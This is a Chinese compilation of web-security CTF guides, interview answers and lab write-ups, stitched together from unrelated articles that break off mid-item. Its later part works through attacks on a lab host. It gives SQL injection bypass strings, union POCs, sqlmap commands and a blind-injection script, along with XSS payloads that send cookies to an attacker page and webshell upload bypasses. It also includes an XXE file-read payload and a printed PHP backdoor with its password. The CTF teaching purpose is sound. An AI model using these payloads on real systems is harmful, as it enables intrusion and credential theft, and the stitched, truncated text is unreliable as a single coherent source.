下载文档原格式
web安全ctf试题及答案在网络安全领域，CTF（Capture The Flag）是一种常见的实践性比赛，旨在检验参赛者在网络攻防方面的技能。
CTF试题是通过模拟真实场景设计的，参赛者需要通过找到漏洞、利用安全漏洞、解密密码以及其他技术手段来获取旗帜（Flag），从而获得得分。
本文将介绍一些常见的Web安全CTF试题类型以及相对应的解答方法。
以下将分为三个方面进行介绍：Web安全CTF试题类型、解题思路及答案示例。
一、Web安全CTF试题类型：1. SQL注入：SQL注入是指攻击者通过在用户输入中注入恶意SQL 代码，从而利用数据库的漏洞进行攻击。
这类问题常见于用户登录界面、搜索功能等。
解题思路通常是通过构造特定的输入，绕过验证机制，获取数据库中的数据或执行特定的操作。
2. 文件上传漏洞：文件上传漏洞是指网站未对上传的文件进行充分的验证和过滤，导致攻击者可以上传含有恶意代码的文件。
解题思路通常是通过上传一个含有恶意代码的文件，使服务器执行恶意代码，从而获取系统权限或执行其他恶意操作。
3. XSS（跨站脚本）攻击：XSS攻击是指攻击者通过在网页中注入恶意脚本，从而获取用户的敏感信息或执行其他恶意操作。
这类问题通常出现在用户输入展示的地方，如评论区、留言板等。
解题思路通常是注入一段恶意脚本，使其在用户浏览器中执行。
4. CSRF（跨站请求伪造）攻击：CSRF攻击是指攻击者通过诱使用户点击特定的链接或访问特定的网页，从而在用户的登录状态下执行非法操作。
这类问题通常要求参赛者利用目标网站的漏洞，欺骗用户点击恶意链接。
解题思路通常是构造欺骗用户的链接或页面，并诱导用户进行操作。
二、解题思路及答案示例：1. SQL注入示例：题目：某网站的用户登录界面存在SQL注入漏洞，请利用该漏洞获取管理员账户和密码。
解答：通过使用单引号绕过输入验证，并输入特定的SQL语句，可以实现注入攻击。
例如，在用户名处输入`admin' OR '1'='1`，在密码处随意输入即可成功绕过验证并获取管理员账户和密码。
ctfweb题库及详解CTF（Capture The Flag）是一种网络安全技能竞赛，旨在考验参与者在不同安全领域的技能。
CTF题库涵盖了众多网络安全方面的知识，包括Web 安全、密码学、逆向工程、二进制漏洞利用等。
在此，我为您提供了一些关于CTF题库及详解的信息。
CTF题库：1. Web安全：Web安全是CTF题库中的一个重要部分，涉及到的知识点包括HTTP请求方法、HTTP头信息、Cookie、Session、输入验证、SQL注入、XSS攻击等。
2. 密码学：密码学题库主要包括对称加密、非对称加密、哈希函数、密码学原理及实践等。
常见的题目有密码破解、加密算法实现等。
3. 逆向工程：逆向工程题库涵盖了汇编语言、CPU指令集、内存管理、程序调试、动态链接库等知识点。
常见的题目有二进制漏洞利用、内存破坏等。
4. 二进制漏洞利用：二进制漏洞利用题库包括缓冲区溢出、格式化字符串漏洞、内存破坏等。
5. 网络安全：网络安全题库涉及的知识点有网络协议、网络攻防、网络监听、防火墙等。
常见的题目有网络扫描、漏洞利用、入侵检测等。
6. 编程与算法：编程与算法题库包括编程语言（如C、C++、Python 等）、数据结构、算法设计等。
常见的题目有编程实现、算法优化等。
7. 杂项：杂项题库包括取证、数据恢复、拓扑图分析等。
CTF题库的答案和详解可以在各大CTF竞赛平台找到，如HackTheBox、PicoCTF、National CTF等。
参赛者可以在这些平台上练习题库，提高自己的技能水平。
需要注意的是，CTF题库涉及的知识点非常广泛，需要长时间的学习和实践。
建议从自己感兴趣的领域入手，逐步拓展知识面。
同时，参加线上或线下的CTF比赛，与其他安全爱好者交流，可以提高自己的技能水平。
漏洞知识面试题1. 简介漏洞知识面试题是面试过程中经常会遇到的一类问题，主要用于考察面试者对系统安全漏洞的了解程度和解决问题的能力。
这些面试题通常涵盖了系统安全的各个方面，包括网络安全、应用程序安全、操作系统安全等等。
在本文档中，我们将介绍一些常见的漏洞知识面试题，并提供相应的解答。
2. 漏洞知识面试题示例2.1 SQL注入问题：什么是SQL注入漏洞？如何防止SQL注入？解答：SQL注入漏洞是指攻击者通过在用户输入的数据中注入恶意的SQL代码，进而获取数据库中的敏感信息或者对数据库进行非法操作的一种漏洞。
为了防止SQL注入，可以采取以下措施：•输入验证和过滤：对用户输入的数据进行验证和过滤，例如限制输入的字符类型、长度等。
•参数化查询：使用参数化的SQL查询语句，将用户输入的数据作为参数传递给查询语句，而不是直接拼接到SQL语句中。
•最小权限原则：为数据库用户设置最小权限，限制其对数据库的操作范围。
2.2 XSS攻击问题：什么是XSS攻击？如何防止XSS攻击？解答：XSS（跨站脚本攻击）是指攻击者通过注入恶意的脚本代码，使其在用户浏览器中执行，从而获取用户的信息或者进行其他恶意操作的一种攻击方式。
为了防止XSS攻击，可以采取以下措施：•输入验证和过滤：对用户输入的数据进行验证和过滤，例如限制输入的字符类型、长度等。
•输出编码：在输出用户数据时，将特殊字符进行编码，使其失去脚本的执行能力。
•使用HTTP Only标志：将Cookie标记为HTTP Only，限制JavaScript访问Cookie的能力。
2.3 CSRF攻击问题：什么是CSRF攻击？如何防止CSRF攻击？解答：CSRF（跨站请求伪造）是指攻击者利用用户已经登录的身份，通过伪造请求来执行一些特定的操作，例如修改用户密码、发送恶意邮件等。
为了防止CSRF攻击，可以采取以下措施：•同源策略：限制网页中的请求只能与同源网址进行通信，防止恶意网站伪造请求。
网站常见漏洞以及解决办法远端HTTP服务器类型和版本信息泄漏1、ServerTokens 指令语法- ServerTokens Major|Minor|Min[imal]|Prod[uctOnly]|OS|Full默认值- ServerTokens Full这个指令控制了服务器回应给客户端的"Server:"应答头是否包含关于服务器操作系统类型和编译进的模块描述信息。
ServerTokens Prod[uctOnly] 服务器会发送(比如)：Server: ApacheServerTokens Major 服务器会发送(比如)：Server: Apache/2ServerTokens Minor 服务器会发送(比如)：Server: Apache/2.0ServerTokens Min[imal] 服务器会发送(比如)：Server: Apache/2.0.41ServerTokens OS 服务器会发送(比如)：Server: Apache/2.0.41 (Unix) ServerTokens Full (或未指定) 服务器会发送(比如)：Server: Apache/2.0.41 (Unix) PHP/4.2.2 MyMod/1.2此设置将作用于整个服务器，而且不能用在虚拟主机的配置段中。
2.0.44版本以后，这个指令还控制着ServerSignature指令的显示内容。
2、ServerSignature 指令说明: 配置服务器生成页面的页脚语法: ServerSignature On|Off|Email默认值: ServerSignature OffServerSignature 指令允许您配置服务器端生成文档的页脚（错误信息、mod_proxy的ftp目录列表、mod_info的输出）。
您启用这个页脚的原因主要在于处于一个代理服务器链中的时候，用户基本无法辨识出究竟是链中的哪个服务器真正产生了返回的错误信息。
BUUCTF-Web-题目详解一、引言BUUCTF是一个由北京邮电大学举办的网络安全比赛，其中的Web部分题目设计精巧、内容丰富，涉及到了常见的Web漏洞利用技术，对于网络安全爱好者来说是一次很好的学习和锻炼机会。
本文将对BUUCTF中的Web部分的一些经典题目进行详细解析，希望能够给初学者提供一些帮助。
二、题目1：SQL注入攻击1. 题目描述这个题目要求参赛者通过注入攻击获取管理员账户的登录权限，并取得flag。
2. 题目分析通过分析题目源代码，可以发现登录页面中存在SQL注入漏洞。
具体来说，输入框中没有对输入进行过滤和转义，直接拼接到SQL语句中，导致攻击者可以通过构造恶意输入进行SQL注入攻击。
3. 攻击方式攻击者可以通过输入' OR 1=1#来构造一个恶意的SQL查询，使得SQL语句永远返回true，从而绕过登录验证，获取管理员账户的权限。
4. 解决方案对用户输入进行过滤和转义是防范SQL注入攻击的常见做法，使用参数化查询也是一种有效的防御手段。
三、题目2：XSS攻击1. 题目描述这个题目要求参赛者利用XSS漏洞在全球信息湾上注入恶意脚本，并窃取管理员的cookie信息。
2. 题目分析通过分析题目页面的源代码，可以发现全球信息湾的某个输入框没有对用户输入进行过滤，导致攻击者可以在输入框中注入恶意的JavaScript脚本。
3. 攻击方式攻击者可以通过在输入框中输入<script>document.location=""+document.cookie;</script>来注入恶意脚本，当管理员访问包含恶意脚本的页面时，其cookie信息将被发送到攻击者控制的恶意全球信息湾上。
4. 解决方案防范XSS攻击的常见做法是对用户输入进行HTML编码和过滤，以确保用户输入不会被解析为恶意脚本。
四、题目3：文件上传漏洞1. 题目描述这个题目要求参赛者利用文件上传漏洞获取到服务器上的敏感文件。
第1篇一、引言随着网络安全问题的日益严峻，越来越多的企业开始重视网络安全人才的培养。
黑客面试作为一种选拔网络安全人才的手段，越来越受到关注。
本文将针对几道常见的黑客面试题目进行解析，帮助读者深入理解网络安全挑战。
二、面试题目及答案解析1. 题目一：请描述一下你了解的SQL注入攻击及其防御措施。
答案解析：SQL注入攻击是一种常见的网络安全攻击手段，攻击者通过在输入数据中插入恶意SQL代码，从而实现对数据库的非法访问或破坏。
以下是SQL注入攻击的防御措施：（1）使用预编译语句：通过预编译语句，可以确保输入数据与SQL代码分离，从而避免SQL注入攻击。
（2）参数化查询：将用户输入作为参数传递给查询语句，避免直接将用户输入拼接到SQL代码中。
（3）输入验证：对用户输入进行严格的验证，确保输入符合预期格式，避免非法字符的插入。
（4）使用安全库：使用具有安全特性的数据库操作库，如PDO（PHP Data Objects）等。
2. 题目二：请简述XSS攻击及其危害。
答案解析：XSS（跨站脚本攻击）是一种常见的网络安全攻击手段，攻击者通过在目标网站上插入恶意脚本，从而实现对用户浏览器的控制。
以下是XSS攻击的危害：（1）窃取用户信息：攻击者可以获取用户的登录凭证、密码等重要信息。
（2）恶意代码传播：攻击者可以在用户浏览器中植入恶意代码，进一步传播病毒或木马。
（3）破坏网站功能：攻击者可以破坏网站的正常功能，甚至导致网站瘫痪。
防御XSS攻击的措施包括：（1）对用户输入进行编码：将特殊字符进行编码，避免恶意脚本被解析执行。
（2）使用内容安全策略（CSP）：限制用户输入的脚本来源，避免恶意脚本的执行。
（3）使用X-XSS-Protection响应头：告知浏览器不执行非信任的脚本。
3. 题目三：请描述一下你了解的DDoS攻击及其防御措施。
答案解析：DDoS（分布式拒绝服务）攻击是一种常见的网络安全攻击手段，攻击者通过控制大量僵尸主机，向目标服务器发起大量请求，从而使其瘫痪。
常见的web漏洞原理及解决办法1. web应⽤功能与安全隐患的对应关系2. 常见web漏洞原理及解决⽅法web安全的根源：程序要处理的输⼊数据都是有害的1. XSS跨站原理：程序中输出的数据中含有脚本执⾏的内容，在经过浏览器解释后，数据中的脚本内容被成功执⾏产⽣的地⽅：web应⽤中⽣成HTML和Javascript的地⽅影响：窃取COOKIE值，通过Javascript攻击，篡改⽹页类型：反射性、存储型、DOM型解决⽅法：输出的数据要转译，⽣成正确的Html; 设置HTTP响应的字符编码; 输⼊校验; 给COOKIE设置HttpOnly属性; 关闭TRACE⽅法备注：正确编码，可以完全杜绝XSS漏洞的发⽣2. SQL注⼊原理：程序处理的数据介⼊到数据库的逻辑时，输⼊的数据在被数据库解释的过程中，数据被当做数据库指令被执⾏了产⽣的地⽅：调⽤SQL语句的地⽅影响：信息泄露；篡改数据；绕过认证；擅⾃运⾏程序、浏览或编辑⽂件解决⽅法：使⽤静态占位符调⽤SQL语句；使⽤成熟的数据库操作组件备注：正确编码，可以完全杜绝SQL注⼊漏洞的发⽣3. 跨站请求伪造(CSRF)原理：程序在执⾏关键处理（转账、付款、修改密码等）的时候，没有额外的认证机制，确认是⽤户本⼈⾃⼰的⾏为产⽣的地⽅：执⾏关键处理的页⾯（仅使⽤COOKIE进⾏会话管理的应⽤，仅依靠HTTP认证、SSL客户端证书、⼿机移动ID来识别⽤户的应⽤）影响：⾮⽤户本意的情况下，存在CSRF的关键逻辑被执⾏解决⽅法：执⾏关键处理前，确认是正规⽤户发起的请求，常⽤⼿段有：嵌⼊机密令牌、再次输⼊密码、检验Referer等备注：逻辑漏洞，需要借助其他⼿段确认是⽤户⾃⼰的⾏为，⽐如邮件、⼿机短信、⽤户的额外⼝令等附：XSS与CSRF的区别4. 不完善的会话管理原理：会话ID泄露，⽐如通过XSS窃取、URL/Referer泄露、HTTP头注⼊、可预测会话ID等⽅法获得产⽣的地⽅：使⽤会话管理的地⽅影响：⽤户信息泄露、⽤户权限操作解决⽅法：使⽤web框架提供的会话管理功能；认证成功之后，更改会话ID备注：建议COOKIE中不存储除会话功能之外的数据5. 重定向的安全隐患原理：web应⽤有时会有重定向外界URL的功能，该URL可以被⽤户指定或改写产⽣的地⽅：存在重定向功能的地⽅；存在HTTP头注⼊的地⽅影响：钓鱼⽹站解决⽅法：设置跳转⽩名单；使⽤数字等标识代表跳转地址；消除HTTP头注⼊的漏洞备注：6. 越权原理：应⽤执⾏⽤户的某些操作的时候，没有校验⽤户的权限产⽣的地⽅：没⽤校验⽤户权限的逻辑处影响：⽤户的逻辑被执⾏，造成信息泄露、⽤户的功能被冒⽤解决的⽅法：⽤户⾝份标识存在session当中并使⽤它进⾏校验，禁⽤只⽤客户端传⼊⽤户唯⼀标识备注：分为⽔平越权和垂直越权7. 发送邮件的安全隐患原理：数据未过滤，导致邮件头注⼊；hidden参数保存收件⼈信息；邮件服务器开发转发；产⽣的地⽅：使⽤邮件功能的地⽅影响：邮件标题、发件⼈或正⽂被篡改；被⽤来发⽣垃圾、病毒邮件；解决⽅法：校验外界输⼊参数；邮件服务器不开启转发功能；备注：8. OS命令注⼊原理：在应⽤中，有提供执⾏OS系统命令的功能时，输⼊参数未过滤或转译，参数内容被解释成命令被执⾏产⽣的地⽅：有使⽤OS系统命令调⽤的地⽅影响：使⽤应⽤的权限，执⾏系统命令，造成信息泄露、篡改或删除数据、对外发动攻击、使系统停⽌等解决的⽅法：避免使⽤内部调⽤shell的函数、不将外部输⼊的字符串传递给命令⾏参数、使⽤安全的函数传递给OS命令的参数进⾏转译备注：9. ⽂件上传相关的问题原理：⽂件上传的地⽅未对安全弱点做防护产⽣的地⽅：提供⽂件上传功能的地⽅影响：上传的Dos攻击、Webshell、恶意⽂件、越权下载等解决的⽅法：修改⽂件名称、⽂件所在⽬录不被解释成执⾏脚本、限制⽂件上传的⼤⼩速率等、校验⽤户权限、检查⽂件内容备注：10. 共享资源的问题原理：竞争共享资源处理不完善，导致竞态条件漏洞产⽣的地⽅：存在竞争共享资源的地⽅影响：页⾯显⽰其它⽤户的个⼈信息，数据库信息不⼀致，⽂件内容被破坏解决的⽅法：不使⽤共享资源，针对共享资源实施完善的互斥锁备注：11. 服务端请求伪造(SSRF)原理：服务器替代客户端访问后端资源时，未做验证，造成该接⼝被恶意使⽤影响：渗透内⽹解决的⽅法：⽩名单过滤请求内容备注：。
webgoat8 jwt tokens题解题目描述：你在一个Web应用程序中发现了一个安全漏洞，该漏洞可以允许攻击者伪造用户的(JWTJson Web Tokens)。
JWT通常用于在服务器和客户端之间安全地传输信息。
请修复此漏洞。
题目分析：JWT包含三个部分：header（头部），payload（负载），和signature（签名）。
1. Header（头部）：包含JWT的算法和类型。
2. Payload（负载）：包含JWT的有效负载，可以包含用户的身份信息。
3. Signature（签名）：基于header和payload使用秘钥进行签名，用于验证JWT的完整性。
攻击者能够伪造JWT的原因是因为他们可以猜测header和payload的内容，并使用自己的秘钥进行签名。
为了修复此漏洞，我们需要确保秘钥的安全性，并使用安全的算法进行签名。
解决方案：以下是一些可能的解决方案：1. 秘钥管理：确保秘钥的安全性，例如将其存储在安全的密钥管理系统中，并确保只有授权的人员能够访问。
2. 使用安全的签名算法：使用安全的哈希算法，如SHA-256，来签名JWT。
这可以确保JWT的完整性。
3. 验证JWT的来源：验证JWT是否来自授权的服务器或客户端。
这可以通过检查JWT的签发者字段来实现。
4. 使用加密的JWT：使用加密的JWT来保护负载中的敏感信息。
这可以防止攻击者读取敏感信息。
5. 监控和日志记录：监控和记录所有JWT的操作，以便及时发现任何异常行为。
6. 更新和修补程序：确保所有使用的库和组件都是最新的，并应用所有安全补丁。
7. 用户教育：教育开发人员和其他相关人员关于JWT的安全性和最佳实践。
1。
CTFShow Web题目解析一、概述CTFShow是一项网络安全技术竞赛，它旨在通过模拟真实的网络攻防场景，促进参赛者提高网络安全意识和技能。
在CTFShow中，Web题目是其中一种类型的题目，对参赛者的Web漏洞挖掘和利用能力提出挑战。
本文将对CTFShow中的Web题目进行解析，帮助参赛者更好地理解并应对此类题目。
二、题目特点1. 多样性：Web题目在CTFShow中的形式多种多样，可能涉及到的漏洞类型包括但不限于SQL注入、XSS跨站脚本攻击、文件包含漏洞、逻辑漏洞等，参赛者需要具备对各种漏洞的识别和利用能力。
2. 难易程度不一：Web题目的难易程度因题目设定和漏洞隐蔽程度而异，有些题目可能只需要进行简单的注入操作即可实现，而有些题目可能需要深入理解业务逻辑并进行复杂的攻击操作。
3. 利用技巧：解决Web题目需要掌握一定的利用技巧，比如对于SQL注入漏洞，参赛者需要了解union注入、报错注入、时间盲注等不同的利用方法，并根据题目情况选择合适的利用方式。
三、解题思路1. 题目分析：首先对题目进行仔细分析，理解题目描述和要求，寻找潜在的漏洞点。
2. 漏洞挖掘：通过常用的漏洞挖掘工具或手工测试，尝试发现目标系统中存在的漏洞，比如利用SQLMap进行SQL注入检测，使用Burp Suite进行参数传递分析等。
3. 利用漏洞：一旦找到漏洞，需要深入理解漏洞原理，并选择合适的利用方法进行攻击，比如构造恶意代码进行XSS攻击、构造合适的SQL语句进行数据窃取等。
4. 题目验证：在攻击利用过程中，需要不断验证攻击效果，确保攻击成功且达到预期效果。
四、解题技巧1. 逻辑分析：有些Web题目可能涉及到逻辑漏洞，需要进行深入的业务逻辑分析，寻找薄弱环节，进行渗透测试。
2. 自动化工具：熟练掌握常用的漏洞挖掘和利用工具，比如SQLMap、XSStrike等，可以提高工作效率和准确性。
3. 实战经验：通过实际的CTF比赛或模拟演练，积累解题经验，了解各类漏洞的利用手段和条件，提高解题效率和成功率。
ctfshow web题目解析Web题目解析CTF（Capture The Flag，夺旗赛）是一种网络安全竞赛，其目标是通过解决各种安全问题来获取“旗帜”。
在CTF比赛中，Web题目通常涉及到Web应用程序的漏洞利用和解决方法。
本文将介绍一些常见的Web题目类型以及解题方法。
一、SQL注入SQL注入是常见的Web安全漏洞之一。
在Web题目中，SQL注入题目通常会提供一个输入框，用户需要通过构造恶意输入来绕过应用程序对用户输入的过滤和验证。
在解决SQL注入题目时，可以尝试使用' OR '1'='1作为输入，以绕过用户名和密码的验证。
二、文件上传文件上传漏洞是指Web应用程序没有对用户上传的文件进行充分的验证和过滤。
在文件上传题目中，通常需要上传一个包含恶意代码的文件，并成功执行该代码。
解题方法包括上传一句话木马脚本或者绕过文件类型限制等。
三、跨站点脚本（XSS）XSS漏洞是指Web应用程序未对用户输入的数据进行充分的过滤和转义，导致恶意脚本被注入到网页中执行。
在XSS题目中，可以通过构造特定的输入来实现恶意脚本的注入，并窃取用户的敏感信息。
解决XSS题目通常需要使用特殊字符进行转义或者利用浏览器的安全机制。
四、命令注入命令注入漏洞是指Web应用程序对用户输入的数据进行了不充分的过滤和验证，使得用户可以执行系统命令。
在命令注入题目中，通常需要通过构造恶意输入，执行系统命令，获取系统的敏感信息。
解决命令注入题目需要了解操作系统的命令执行规则，并进行合理的输入构造和过滤。
五、文件包含文件包含漏洞是指Web应用程序没有对用户输入的文件进行充分的验证和过滤，使得用户可以包含其他系统文件。
在文件包含题目中，通常需要通过构造特定的输入实现包含其他文件，并获取敏感信息。
解决文件包含题目要了解文件包含的原理和漏洞的利用方法。
六、逻辑漏洞逻辑漏洞是指Web应用程序中存在的设计上的错误，导致系统的行为违背设计意图。
这个题目是Union型sql注入，没有进行任何过滤，可以通过sqlmap或者手注。
通过单引号截断sql查询语句：可以利用and 1=2进行union注入，获取注入结果回显：2的位置可以回显，接下来猜测表名，当from flag的时候可以正常回显：表名错误的话则查询不到数据：列名类似，最终的POC：http://10.3.242.167/hackit/question/sqli1/index.php?id=1' and 1=2 union select 1,flag from flag %23得到：如果使用sqlmap的话:首先使用-u判断是否存在注入：发现可以Union、布尔型、基于时间……于是，分别使用—dbs –tables –columns可以得到数据库名、表名、列名，最后用：sqlmap.py -u "http://10.3.242.167/hackit/question/sqli1/index.php?id=1" -D one -T flag –dump这个题目过滤了一些关键字，但是可以利用大小写混写进行绕过：将and关键字用&&代替，注意要进行url编码，最后的payload如下：http://10.3.242.167/hackit/question/sqli2/index.php?id=1' %26%26 1=2 UNion sElect 1,flag fRom flag %23这个看泽哥注入的时候，发现可以利用—tamper=randomcase，使用sqlmap的随机大小写关键字脚本，直接也可以得到结果：sqlmap.py -u "http://10.3.242.167/hackit/question/sqli2/index.php?id=1" --tamper=randomcase后面的同第一个：这个题目看源码可以发现把union整个给过滤了，所以只能通过Bool型盲注了：通过substr取出第一位然后用ascii码判断，可以得到第一位的ascii码为84，即’T’写一个简单的盲注脚本：# /usr/bin/python#coding:utf-8import requestsimport reimport base64import timeimport binasciiwant = ''for i in range(1, 33):number = str(i)for ss in range(0x0, 0xff+1):u = 'http://10.3.242.167/hackit/question/sqli3/index.php?id=1\' %26%26 exists(seLect flag From flag where ascii(substr(flag, ' + str(number) + ', 1))=' + str(ss) + ') %23' s = requests.Session()c = s.get(u)content = c.contentif 'look me!' in content:print uwant = want + chr(ss)print wantbreakprint want运行脚本得到最后的结果：反射型XSS和存储型XSS只在第一个页面进行了过滤，提交内容后进入第二个页面，这个页面并没有做过滤，因为是想让大家了解一下反射型XSS和存储型XSS的不同点以及XSS的简单利用（盗取cookie）。
chrome浏览器对反射型xss 做了过滤，为了达到效果，特在Firefox下演示。
输入name后在第二个页面的输入框输<script>alert(1)</script>fddf，效果如下图，说明插入的js脚本被成功执行。
接下来考虑盗取cookie。
本地web服务器下准备一个3.php文件，内容如下图，主要功能是接受传过来的参数，名为cookie，然后将其写到cookie.txt文件里面。
在第一个页面输入name后进入第二个页面中输入如下内容（如下语句的功能其实就是请求上面的3.php，并把cookie作为参数传过去），<script>new Image().src='http://localhost/3.php?cookie='+document.cookie</script> 如下图所示，cookie.txt中已经有接受到的cookie。
我在后台把大家在 2.php中输入的内容存到了message.txt中，然后在message.php把内容读出来，这里是构造一种简单的存储型XSS场景，区别于反射型XSS中把2.php中输入的内容直接echo出来。
先在本地web服务器上准备一个3.php，内容跟上面一样，然后，在第一个页面输入name后(我这里输入name111，所以cookie的内容是name=name111)进入2.php，在2.php中输入：<script>new Image().src='http://localhost/3.php?cookie='+document.cookie</script> 访问message.php即可收到cookie。
这题是通过上传文件的类型来判断能否通过上传，传个php一句话，然后抓个包：会提示上传出错，这里修改Content-type=image/jpeg，然后重放数据包：这样就看到了第一枚flag，这里利用apache+windows的特性，针对”php ”或“php.”会保存成“php”，这里修改文件名为“1.php..”，然后重放数据包：提示上传成功，访问upload目录下1.php，发现已经解析，使用菜刀连接，看到第二枚flag：（各位尝试成功的话请不要进行破坏操作）这个首先可以看到部分源码说明：这里可以利用各种花式绕过方法，列举最常用的一种绕过方式：这里是一个XML实体注入漏洞，源码做了一些过滤，可以使用file协议读文件，首先给出读文件的POC（由于需要读php，直接读会被截断，因此用base64编码下）：<?xml version="1.0" encoding="utf-8"?><!DOCTYPE tsctf [<!ELEMENT methodname ANY ><!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=robots.txt" >]><methodcall>&xxe;</methodcall>也可以通过物理路径，可以从报错回显中得到，这里首先读一下xxe.php：PD9waHAgDQoJJHJldCA9IGxpYnhtbF9kaXNhYmxlX2VudGl0eV9sb2FkZXIoZmFsc2UpOw 0KCSR4bWxfc3RyaW5nID0gZmlsZV9nZXRfY29udGVudHMoJ3BocDovL2lucHV0Jyk7DQoJ DQoJaWYgKCFpc3NldCgkeG1sX3N0cmluZykgfHwgJHhtbF9zdHJpbmc9PT0iIikNCgkJZGllK CJXaHkgbm90IHBvc3QgYSB4bWw/Iik7DQoJDQoJaWYgKHN0cmlzdHIoJHhtbF9zdHJpbm csICdodHRwJykgfHwgc3RyaXN0cigkeG1sX3N0cmluZywgJ2Z0cCcpIHx8IHN0cmlzdHIoJHh tbF9zdHJpbmcsICdwaGFyJykgfHwgc3RyaXN0cigkeG1sX3N0cmluZywgJ2V4Y2VwdCcpKQ 0KCQlkaWUoIllvdSBjYW4ndCBkbyB0aGlzISIpOw0KCQ0KCWlmIChzdHJpc3RyKCR4bWxfc 3RyaW5nLCAnLi4nKSkNCgkJZGllKCJZb3UgY2FuJ3QgZG8gdGhpcyEiKTsNCgkNCgkkcmUg PSBzaW1wbGV4bWxfbG9hZF9zdHJpbmcoJHhtbF9zdHJpbmcpOw0KCS8vSGVyZSBpcyB0 aGUgZmlyc3QgZmxhZzogVFNDVEZ7QW5fZTRzeV9YWEVfRXg0bXBsM30NCgkvLy1BLQ0K CQ0KCWVjaG8gJHJlOw0KPz4=解码后得到第一个flag：<?php$ret = libxml_disable_entity_loader(false);$xml_string = file_get_contents('php://input');if (!isset($xml_string) || $xml_string==="")die("Why not post a xml?");if (stristr($xml_string, 'http') || stristr($xml_string, 'ftp') || stristr($xml_string, 'phar') || stristr($xml_string, 'except'))die("You can't do this!");if (stristr($xml_string, '..'))die("You can't do this!");$re = simplexml_load_string($xml_string);//Here is the first flag: TSCTF{An_e4sy_XXE_Ex4mpl3}//-A-echo $re;?>然后根据robots.txt的提示（在xxe目录下放robots.txt被吐槽了……）：读取后门的php文件内容如下：<?php$a = $_POST['1112'];$b = $_POST['1114'];$pass = $_POST['1509'];if (!isset($a) || !isset($b) || !isset($pass))die("You found me. So?");if (md5($pass) === "df7d4c3ca439fa8dc050990faff0929e")$a("$b");?>这里首先解出md5明文为TSCTF，所以需要POST 1509=TSCTF，这里用起来不方便，可以先用这个后门写个一句话，先测试下phpinfo()：这里$貌似会把后面的当变量，PHP不太熟所以分两步写，第一步：第二步：然后访问：OK，马儿拼完了，上菜刀，在C盘根目录读到最后一个flag：。
